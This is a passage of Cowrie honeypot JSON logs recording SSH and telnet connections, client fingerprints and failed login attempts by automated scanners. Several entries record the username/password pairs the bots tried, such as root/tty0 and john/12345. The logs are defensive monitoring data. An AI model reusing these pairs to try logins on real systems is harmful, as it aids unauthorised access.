{"eventid":"cowrie.session.closed","duration":37.390482902526855,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:43.477827Z","src_ip":"192.119.13.58","session":"7bac251ea1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52232,"dst_ip":"10.17.0.5","dst_port":22,"session":"0231bbdeb9d9","protocol":"ssh","message":"New connection: 45.153.34.112:52232 (10.17.0.5:22) [session: 0231bbdeb9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:44.203749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:44.208652Z","src_ip":"45.153.34.112","session":"0231bbdeb9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:44.290893Z","src_ip":"45.153.34.112","session":"0231bbdeb9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:44.537498Z","src_ip":"45.153.34.112","session":"0231bbdeb9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.66663599014282,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:44.908689Z","src_ip":"192.119.13.58","session":"7d86ed7a84e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:45.622714Z","src_ip":"45.153.34.112","session":"0231bbdeb9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38076,"dst_ip":"10.17.0.5","dst_port":23,"session":"2748746b2b3a","protocol":"telnet","message":"New connection: 192.119.13.58:38076 (10.17.0.5:23) [session: 2748746b2b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:46.409896Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40782,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eb61e618a07","protocol":"telnet","message":"New connection: 192.119.13.58:40782 (10.17.0.5:23) [session: 2eb61e618a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.034119Z"}
{"eventid":"cowrie.session.closed","duration":37.165735721588135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.465357Z","src_ip":"192.119.13.58","session":"0aef4301fc2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52240,"dst_ip":"10.17.0.5","dst_port":22,"session":"5420d328307d","protocol":"ssh","message":"New connection: 45.153.34.112:52240 (10.17.0.5:22) [session: 5420d328307d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.557827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.562867Z","src_ip":"45.153.34.112","session":"5420d328307d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.655714Z","src_ip":"45.153.34.112","session":"5420d328307d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:47.909052Z","src_ip":"45.153.34.112","session":"5420d328307d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.1608474254608154,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:48.570618Z","src_ip":"192.119.13.58","session":"2748746b2b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.49571347236633,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:48.636391Z","src_ip":"192.119.13.58","session":"ad28f989930a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:48.993957Z","src_ip":"45.153.34.112","session":"5420d328307d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.945415019989014,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:49.361278Z","src_ip":"192.119.13.58","session":"342305595bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":47222,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9db29fd0460","protocol":"ssh","message":"New connection: 43.173.122.127:47222 (10.17.0.5:22) [session: c9db29fd0460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:50.649547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:50.657462Z","src_ip":"43.173.122.127","session":"c9db29fd0460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:50.725687Z","src_ip":"43.173.122.127","session":"c9db29fd0460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44026,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee785550790","protocol":"ssh","message":"New connection: 45.153.34.112:44026 (10.17.0.5:22) [session: aee785550790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:50.964391Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:51.029316Z","src_ip":"43.173.122.127","session":"c9db29fd0460","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:51.036400Z","src_ip":"45.153.34.112","session":"aee785550790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:51.062911Z","src_ip":"45.153.34.112","session":"aee785550790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:51.367080Z","src_ip":"45.153.34.112","session":"aee785550790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:52.098878Z","src_ip":"43.173.122.127","session":"c9db29fd0460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.42670440673828,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:52.141838Z","src_ip":"192.119.13.58","session":"677a59209b4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:52.531925Z","src_ip":"45.153.34.112","session":"aee785550790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44048,"dst_ip":"10.17.0.5","dst_port":22,"session":"590be4c2e0c5","protocol":"ssh","message":"New connection: 45.153.34.112:44048 (10.17.0.5:22) [session: 590be4c2e0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:54.436942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:54.441643Z","src_ip":"45.153.34.112","session":"590be4c2e0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:54.523624Z","src_ip":"45.153.34.112","session":"590be4c2e0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:54.938702Z","src_ip":"45.153.34.112","session":"590be4c2e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44388,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc76f3a0eca","protocol":"telnet","message":"New connection: 192.119.13.58:44388 (10.17.0.5:23) [session: 8dc76f3a0eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:54.945919Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:56.025410Z","src_ip":"45.153.34.112","session":"590be4c2e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb370d807b9d","protocol":"ssh","message":"New connection: 43.130.36.39:49290 (10.17.0.5:22) [session: cb370d807b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:56.737045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:56.743038Z","src_ip":"43.130.36.39","session":"cb370d807b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:56.812231Z","src_ip":"43.130.36.39","session":"cb370d807b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"12345","message":"login attempt [john/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:57.116350Z","src_ip":"43.130.36.39","session":"cb370d807b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44072,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a07431d4bd","protocol":"ssh","message":"New connection: 45.153.34.112:44072 (10.17.0.5:22) [session: 93a07431d4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:57.974382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:57.979274Z","src_ip":"45.153.34.112","session":"93a07431d4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:58.143255Z","src_ip":"45.153.34.112","session":"93a07431d4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:58.188108Z","src_ip":"43.130.36.39","session":"cb370d807b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:58.433707Z","src_ip":"45.153.34.112","session":"93a07431d4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.307328939437866,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:58.700254Z","src_ip":"192.119.13.58","session":"ae043afa06ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:59.518740Z","src_ip":"45.153.34.112","session":"93a07431d4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36462,"dst_ip":"10.17.0.5","dst_port":22,"session":"c48a9f764edf","protocol":"ssh","message":"New connection: 45.153.34.112:36462 (10.17.0.5:22) [session: c48a9f764edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:01.772753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:01.796020Z","src_ip":"45.153.34.112","session":"c48a9f764edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-